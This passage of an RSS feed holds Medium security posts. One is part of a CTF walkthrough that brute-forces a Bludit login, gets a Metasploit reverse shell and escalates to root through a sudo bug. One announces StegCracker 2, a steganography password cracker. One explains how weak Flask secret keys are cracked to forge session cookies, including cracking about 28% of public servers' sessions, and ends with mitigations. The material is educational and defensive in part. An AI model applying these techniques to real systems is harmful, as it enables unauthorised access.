md5 (to speed things up)</figcaption></figure><p>After scanning all tags locally, and comparing all hashes with that on the server, I found out that the server was most likely running version 3.9.2 of the software, coincidentally the exact version which the Metasploit module targets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*hAS1m3MoLNojo2LvTofJGA.png" /><figcaption>66.5% of all file match version 3.9.2</figcaption></figure><p>While I initially thought this would be enough to get in, it appeared that the metasploit module requires an authenticated session to perform the exploit.</p><p>I’d have to get creative and figure out credentials for the admin panel itself.</p><p>I started out by trying simple default credential combinations like admin:admin, etc, however this didn’t go anywhere.</p><h4>Obtaining credentials</h4><p>I decided to create a wordlist with words taken from the website itself, there’s a really nice tool named cewl which does this for you. I fired up the tool and got a wordlist of about 350 potential passwords.</p><p>Combining this with a slightly modified version of a <a href="https://rastating.github.io/bludit-brute-force-mitigation-bypass/">brute-force script</a> I found online which bypasses the rate limit system (credit to rastating) I tried to brute-force the admin users’ password. Unfortunately, this didn’t work. This meant I either had to brute force even more passwords, or I’m brute forcing the wrong user.</p><p>From experience, CTF makers generally add a text file of some sorts with some clues<em> (a cheap trick in my opinion, but it’s an easy box so I’ll let it slide)</em>. I fired up gobuster with the -x txt argument to find text files and, as expected, I found a file named todo.txt, this hinted towards the existence of a user named fergus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSqnEz2Zv4mYkEy8mdIj7g.png" /><figcaption>Discovering the user “fergus”</figcaption></figure><p>Combining this new information with my previously generated wordlist, I managed to find the users’ password. This should be enough to run the exploit and get a reverse shell back to my machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*GQF4cCItt5dwRs52MUSoHg.png" /><figcaption>Finding the password</figcaption></figure><h4>Initial Access &amp; user privilege escalation</h4><p>Using all previous information, I fired up metasploit, chose the right exploit and fired it against the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nnAStFmEYdsbDrwbD5GFdA.png" /><figcaption>Obtaining a reverse shell on the system</figcaption></figure><p>All that was left was to obtain further user privileges and eventually escalate those privileges to root. I did some manual recon and figured that there had to be some sort of database with the password of fergus, maybe this contained information about other users on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*s8e0-Kg0Vcy5GXcBzDpLzA.png" /><figcaption>Finding the JSON database</figcaption></figure><p>As it turns out, there’s a JSON database on the server which contains the password of not only fergus, but also the user “admin”. Reading the file revealed a sha1 hash with a salt. I tried cracking this with hashcat and john with rockyou.txt, however this didn’t seem to work. After entering the hash + salt in a few online databases however, I found the password “Password120”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*8EMAJ4u414MhM3Sewkwb1A.png" /><figcaption>Finding the SHA1 hash + salt</figcaption></figure><p>All that was left was to switch the user hugo (which I found by listing the /home directory), and using the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*UQoZAqOI1FxzZoOJFOdg9g.png" /><figcaption>Obtaining the user flag</figcaption></figure><h3>Obtaining root privileges</h3><p>My first instinct was to check what sudo rights the user had. So, I ran a sudo -l and found a rather odd entry, so I Googled it and figured out that this particular entry <a href="https://www.exploit-db.com/exploits/47502">can be exploited</a> with sudo versions lower than 1.2.28, and as it turns out we have the exact right version to abuse the bug with</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cteq89r2grQ4IUBhlsbtWA.png" /><figcaption>Obtaining the root flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3669b73875c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[StegCracker 2 Released]]></title>
            <link>https://medium.com/@paradoxis/stegcracker-2-released-f03771ba855b?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/f03771ba855b</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Mon, 25 Mar 2019 19:27:56 GMT</pubDate>
            <atom:updated>2019-10-20T11:31:23.765Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NAYH-X6TiB_G8RnU" /><figcaption>Photo by <a href="https://unsplash.com/@taskinhoo?utm_source=medium&amp;utm_medium=referral">Taskin Ashiq</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>A long time ago, on an awesome pentesting platform far far away, I had a problem. A problem many people that play CTF challenges can probably relate to.</p><h3>Down the rabbit hole</h3><p>It’s 3 in the morning, you promised to yourself you’d go to bed at 10, but you’re deep down the rabbit hole, stuck on this one machine you simply can’t break into. You’ve scanned every possible port, enumerated thousands of urls, tried every possible password you could think of. But <strong><em>nothing</em></strong> seems to work.</p><p>You get frustrated and cave in, you start looking for hints online. To your surprise, you you find out you’re not the only one. There’s been lots of angry people posting on Reddit and the official forums that they can’t get anywhere. You keep reading and eventually stumble on a comment:</p><blockquote>There’s a private key hidden inside the banner image on the homepage, you need to guess a password in order to gain access to it.</blockquote><p>I don’t know about you, but this just rips me straight out of my immersion. It’s not realistic, or ‘clever’, it’s just annoying. You think you’re here to better your pentesting skills, yet you end up having wasted 6 hours on a cheap, unrealistic trick where someone was simply too lazy to put in the effort to make a realistic machine.</p><h3>The solution</h3><p>Out of pure frustration, I went online and searched for solutions, and to my surprise, there were very few scripts out there which could do this. Those that did were unintuitive to use, had tons of bugs and would often times require you to edit the code for each file you wanted to crack.</p><p>So, I wrote it myself! I made a simple, easy-to-use shell script which would loop through the default <a href="https://en.wikipedia.org/wiki/RockYou#Data_breach">RockYou</a> wordlist included on every Kali Linux installation and try each password against the file. I published the project and went on with my day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*_IVui40X4GgyfljwDi9hOA.png" /><figcaption>The project got quite a bit more attention than I expected</figcaption></figure><p>While the tool worked fine most of the time, it had some issues. The first and most obvious (as GitHub user pluggles <a href="https://github.com/Paradoxis/StegCracker/issues/6">pointed out</a>), was that the tool was actually horribly inefficient.</p><p>It wrote every password it tried to the console and each attempt had to wait for the previous one to finish before it could start. Besides that, it had to work with the limitations of Bash (weird side effects include: not being able to handle spaces, skipping the last line when looping over a file if it doesn’t end with a newline and many more).</p><p>This is why I decided I’d take the shell script and my Python knowledge and re-write it from scratch.</p><h3>Introducing, StegCracker 2</h3><p>StegCracker 2 is a full-rewrite of the original, but tries to remain as similar as possible to the original. The main usage of the tool remains the same. Simply call the program, pass a file as it’s first argument and watch the magic happen.</p><h4>Upgrade Guide</h4><p>To upgrade from your previous installation, make sure you have Python 3.6 installed and, use the following:</p><pre>$ sudo rm --force $(which stegcracker)<br>$ pip3 install stegcracker</pre><p>Your stegcracker should now be updated. To test this, simply run the program without any arguments and it should show some new options.</p><h4>Threading</h4><p>The most obvious change to the program is: threading. Instead of making the program wait for each password to be cracked sequentially, it can now attempt thousands of passwords simultaneously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQzxkc6MDrq7em8efyyf6A.png" /><figcaption>The performance went up almost 2960% based on a rough 60 second test</figcaption></figure><p>To specify the number of threads, use:</p><pre>$ stegcracker file.jpg --threads &lt;number of threads, default: 16&gt;</pre><p>For additional fine-tuning, you can also change the number of passwords loaded into memory between console updates:</p><pre>$ stegcracker file.jpg --chunk-size &lt;size, default: 256&gt;</pre><h4>Verbose / Quiet Mode</h4><p>Sometimes you simply want the password, and nothing else from the program (eg: If you’re using it inside of a script), for this I’ve added the quiet-mode. To enable it, simply use:</p><pre>$ stegcracker file.jpg --quiet</pre><p>This will make sure only the password will be printed to stdout when the script finds the password.</p><p>If you run into issues however, you can also enable verbose-mode, this will print the output from each steghide process (alongside the thread number) to your stderr, if you wish to do this, you could use:</p><pre>$ stegcracker file.jpg --verbose</pre><h4>Unit Tests</h4><p>For additional stability, I’ve added unit tests to ensure that each change to the project won’t break any other functionality.</p><h4>Breaking Changes</h4><p>Due to the fact that the Python module is named stegcracker, it’s no longer possible to use —-update to update your current installation. The new way of updating (via PIP) should be more stable and will most likely not change in the near future. For an upgrade guide, scroll up.</p><h3>Thank You</h3><p>I’d like to thank everyone for the continued support and nice words I’ve received for making the tool.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f03771ba855b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Baking Flask cookies with your secrets]]></title>
            <link>https://medium.com/@paradoxis/defeating-flasks-session-management-65706ba9d3ce?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/65706ba9d3ce</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[flask]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Sat, 26 Jan 2019 11:54:38 GMT</pubDate>
            <atom:updated>2021-07-31T23:11:15.877Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HNjz6dQTyy5Y9VFV" /><figcaption>Photo by <a href="https://unsplash.com/@rzunikoff?utm_source=medium&amp;utm_medium=referral">Robert Zunikoff</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><blockquote>Editors note: After receiving some criticism on various places for using the title “Defeating Flask’s Session Management”, I’ve decided to change the title as I feel the criticism is justified for being misleading.</blockquote><p>A few weeks back, I and a friend of mine were discussing web frameworks and how he claimed to have made an ‘Impossible to Bypass’ login form. After asking him if I could see the code, he obliged and sent me a copy.</p><p>As expected, he remained true to his word and actually made it very secure. No <a href="https://en.wikipedia.org/wiki/SQL_injection">SQL injection</a>, no <a href="https://nl.wikipedia.org/wiki/Cross-site_scripting">XSS</a>, he even had rate limiting and audit logging. It seemed impossible to bypass without actually knowing the password.</p><p><em>That was of course, until I noticed he was using the secret key:</em></p><blockquote>“CHANGEME”</blockquote><h3>Exploiting Human Error</h3><p>What my friend hadn’t realised is that having a weak secret key is more dangerous than you’d think when the client stores the current user’s state. Take the following sample application (which is a completely stripped down version of his application):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/abdd31b741659f2a3bc93666f98187a2/href">https://medium.com/media/abdd31b741659f2a3bc93666f98187a2/href</a></iframe><p>At first glance this looks impenetrable, I even opted to remove the login form itself (as we were never going to guess the passwords he made). So how would you go about getting that<em> ‘You are logged in!’ </em>message?</p><h3><strong>Flask’s Session Management</strong></h3><p>Flask by default uses something called ‘signed cookies’, which is simply a way of storing the current session data on the client <em>(rather than the server)</em> in such a way that it cannot <em>(in theory) </em>be tampered with.</p><p>One of the drawbacks of this approach, however, is that the cookies are <strong>not encrypted</strong>, they’re <strong>signed</strong>. <em>This means that the content of the session can be read without the secret key.</em></p><p><em>And, a</em>fter speaking to various Python developers, most assumed that the session data would be unreadable by the client as the code used to sign the cookies is called SecureCookieSessionInterface, which gave them a false sense of security. Take the following session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*EBExwdWx4ma2CQBgsUfHwA.png" /><figcaption>A ‘secure’ cookie divided up into its parts</figcaption></figure><h4>Session Data</h4><p>The session data is the actual <strong>content</strong> of the session, while at first glance it looks unreadable, but to those who recognise it, it’s actually just a <a href="https://en.wikipedia.org/wiki/Base64">Base64 encoded</a> string. If we were to decode this with itsdangerous’ base64 decoder, we’d get the following output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*-_bylX0_B1NbbGZ1nJJpIw.png" /><figcaption>Session data set by the server</figcaption></figure><h4>Timestamp</h4><p>The timestamp tells the server when the data was last updated. Depending on what version of itsdangerous you’re using, this might be the current Unix timestamp, or the current Unix timestamp minus the epoch (this was changed due to a bug, whereby people couldn’t set dates before 2011, <a href="https://github.com/pallets/itsdangerous/issues/46">source</a>).</p><p>If the timestamp appears to be older than 31 days, the session is marked as expired and will be regarded as invalid.</p><h4>Cryptographic Hash</h4><p>This is the part which makes the cookie ‘secure’. Before the server sends you your latest session data, it calculates a <a href="https://en.wikipedia.org/wiki/SHA-1">sha1</a> <a href="https://simple.wikipedia.org/wiki/Cryptographic_hash_function">hash</a> based on the combination of your session data, current timestamp and the server’s secret key.</p><p>Whenever the server then sees that session again, it will deconstruct the parts, and verify them using the same method. If the hash doesn’t match the given data, it will know it has been tampered with and will regard the session as invalid.</p><p>This means that if your secret key is easy to guess or is publicly known, an attacker can cleverly modify the session’s content without much effort (speaking of secrets being publicly known, you’d be surprised how many results are returned on GitHub if you search for secret_key).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GBIDjDw4oBGL7YvS3BWPIw.png" /><figcaption>Searching the term ‘secret_key’ returns almost 2.4 million results on GitHub alone</figcaption></figure><h3>Bypassing Authentication</h3><p><em>‘So how would I go about actually bypassing the authentication?’, </em>you might be asking yourself. Take the following example (which you can follow along if you copy the code earlier in this blog post):</p><h4>Prerequisites</h4><ul><li>Access to a Python interpreter (I’m using 3.6)</li><li>Having Flask installed by using pip install flask (preferably in a <a href="https://virtualenv.pypa.io/en/latest/">virtual environment</a> so it won’t make your system messy)</li></ul><p>Before you can do anything, you’ll have to start the Flask application like so:</p><pre>$ python server.py</pre><h4>Obtaining a session cookie</h4><p>To obtain a session cookie, we’ll have to probe the server for a possible cookie. I did this by simply making a curl request to the server with the -v option to get <em>verbose </em>output (which prints the headers of the request), but you could also simply visit the web page and use a browser extension like <a href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg">EditThisCookie</a> to get the contents of the cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Y5a7fqtIhQ3nPpu8CBKsw.png" /><figcaption>The server returning a session cookie</figcaption></figure><p><em>Do note that not all servers will instantly give you a session; some will only do this when trying to flash an error whereas others will only do so after logging in. You’ll have to figure this out on a case-by-case basis. For demonstration’s sake, our example server forcibly sets a session no matter what.</em></p><h4>Creating the wordlist</h4><p>While it would be possible to brute-force each possible combination of letters, numbers and characters; a better approach would be to create a wordlist with known sources where developers might have posted their secret keys.</p><p>For this, I immediately thought of the following two locations: GitHub (as seen earlier) and StackOverflow (which generously allows you to download every single comment, post and edit ever made on the platform through <a href="https://archive.org/details/stackexchange">archive.org</a>).</p><p>For GitHub, I simply made a throwaway script which tried going over as many commits and files with the search term secret_key as possible, and for StackOverflow I iterated over each possible piece of text and tried to match possible secret keys with the following regular expression:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_8pqQhB_TU7zAekkc7i-cg.png" /><figcaption>Regular expression used to capture the secret keys</figcaption></figure><p>After a week of scraping GitHub posts on the background of my VPS, and combing through every StackOverflow post, comment and edit ever made I was left with a total of <strong>37069 unique secret keys.</strong></p><h4>Cracking the signature</h4><p>By combining a wordlist, the cookie we just obtained and parts of Flask’s session management code; we’re able to validate each secret key against the cookie to see if the signature is valid. If no error is raised, we’ll know we have a valid signature, which means we’ll have figured out the server’s secret key!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V_CKsqCy4zOsq_BvPxXrDw.png" /><figcaption>A sample session-cracking application</figcaption></figure><h4>Crafting a session cookie</h4><p>If our script was successful, we should now have found the server’s secret key! By now taking the same code, but instead of ‘load’ the session we ‘dump’ the session, we can create a cookie with any data we like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0vqD41QUrXMIp1c0x1HrA.png" /><figcaption>Crafting a new session</figcaption></figure><p>If we were now to make a request to the same server, it should accept our crafted cookie, as it matches the expected secret key, which should trick it into believing we’re logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OR00rI8S8ds5uQgH3LkfWQ.png" /><figcaption>Using our crafted cookie to bypass the server’s authentication</figcaption></figure><blockquote>I would like to point out that just because you can modify a session, doesn’t mean you’ll instantly be able to bypass an authentication mechanism. Not all systems are built the same and you’ll probably have to do some research to figure what and if it is possible to use this attack to your advantage.</blockquote><h3>Flask Unsign</h3><p>Due to the fact that I had to do quite some work to figure out <em>exactly how</em> Flask handled their sessions, I decided to put the code into an easy-to-use command line tool which lets you scan your own server’s for this issue.</p><p>To install the tool, simply head over to your terminal and install it using <a href="https://en.wikipedia.org/wiki/Pip_(package_manager)">pip</a>:</p><pre>$ pip install flask-unsign[wordlist]</pre><p>If you don’t want the fairly bulky wordlist file included and only want to use the code itself, you can simply omit the [wordlist] from the command.</p><pre>$ pip install flask-unsign</pre><p>If you wish to see the source code, you can find this over on my <a href="https://github.com/Paradoxis/Flask-Unsign">GitHub</a>.</p><h4>Usage</h4><p>Flask-Unsign has three main use-cases: it lets you: Decode, Sign and Unsign (crack) a cookie, with built-in HTTP support, which prevents you from having to open up your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0k-_PWulvrjAhJOVgfivg.png" /><figcaption>Cracking and crafting a session using Flask-Unsign</figcaption></figure><h3>The Numbers</h3><p>By now you’re probably asking yourself: <strong>What is the chance that this actually works in the real world?</strong> To test this, Rik van Duijn (cool guy, go check out <a href="https://twitter.com/rikvduijn?lang=en">his Twitter</a>) and I did a few queries on <a href="https://en.wikipedia.org/wiki/Shodan_(website)">Shodan</a> to see how many public-facing devices were broadcasting that they might be running Flask.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Re3CQbgLTI5CM3orjwelw.png" /><figcaption>This resulted in around <strong>88,000</strong> servers</figcaption></figure><p>We then narrowed it down to those who immediately set a session cookie <em>(not only due to the fact that Shodan can get pricey, but crawling each host until we find a session cookie might be very intrusive, would most likely melt my router, and probably result in a phone call from my ISP asking what the hell I’m up to).</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aAekrfIwgRCqNqQ47CA2QQ.png" /><figcaption>This resulted in around <strong>1,500</strong> servers</figcaption></figure><p>After downloading the results, I went to work to see exactly how many sessions I could successfully crack with a wordlist I created from a few days of scraping various data sources on the internet where people might post their secret keys.</p><blockquote>Just because the servers are running Werkzeug, doesn’t mean they’re running Flask. Furthermore we’re not taking applications whose information is stripped by another web server like Nginx, those who don’t instantly set a cookie or which are running behind a firewall into account. So take the following data with a grain of salt.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BsYPh-coZ9vifFaEqM_Mg.png" /><figcaption>Successfully cracking a little more than 28% of all valid sessions</figcaption></figure><blockquote>While I initially started by brute-forcing the sessions on my MacBook, I quickly realised that MacBooks aren’t exactly cut out to run 32 CPU-slurping Python processes at once, so I switched to my (ever so slightly) more powerful gaming PC which obediently completed the task in under 20 minutes.</blockquote><p>After weeding out the non-signed cookies (generally server-side cookies, or other frameworks which might use the same naming convention and base code as Flask), I was left with <strong>1242</strong> <strong>valid </strong>sessions. Passing each of these to <a href="https://github.com/Paradoxis/Flask-Unsign">Flask-Unsign</a>, resulted in <strong>352 cracked </strong>sessions which is a little over <strong>28%</strong>. Of these 352 sessions, only <strong>78</strong> <strong>unique</strong> secret keys were used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*siToTO5Y2DS4QUMwSZW6rw.png" /><figcaption>Top 10 most commonly used secret keys</figcaption></figure><h3>Mitigation</h3><p>There are multiple ways you could avoid this issue. The first and most obvious way of doing so is to simply <strong>KEEP YOUR SECRET KEYS SECRET!</strong> Apart from the obvious ones, the following tips should help you keep your server more secure.</p><h4>Making your secret key random</h4><p>Stop using easy-to-guess secret keys; aim for something totally random instead. Ideally, you’d want to set your secret key to a random sequence of bytes each time you start your application, but this might be user-unfriendly as their session would expire each time your server is restarted.</p><p>The most practical solution is to simply generate a UUID. This can be done on most Unix-like systems by using the uuid or uuidgen command, or by running the following on a machine with Python:</p><pre>$ python -c &#39;import uuid; print(uuid.uuid4());&#39;</pre><h4>Use server-side sessions</h4><p>Not only do you prevent attackers from figuring out your secret key, using server-side sessions also makes it impossible for an attacker to look at the contents of your session, as the only thing they’ll get is a unique token.</p><p>One way of doing this in Flask is by installing the <a href="https://pythonhosted.org/Flask-Session/">Flask-Session</a>, package and initializing it when your application is being built.</p><h4>Sample Application</h4><p>The following is a sample Flask application, which uses the previously-mentioned techniques to make sessions more robust.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/eda1786c087a78c7df0ae1ce819376ab/href">https://medium.com/media/eda1786c087a78c7df0ae1ce819376ab/href</a></iframe><h3>Special Thanks</h3><p>Special thanks to <a href="https://twitter.com/rikvduijn?lang=en">Rik van Duijn</a> for helping me out with general advice, and helping to generate the statistics showed earlier in this post.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65706ba9d3ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>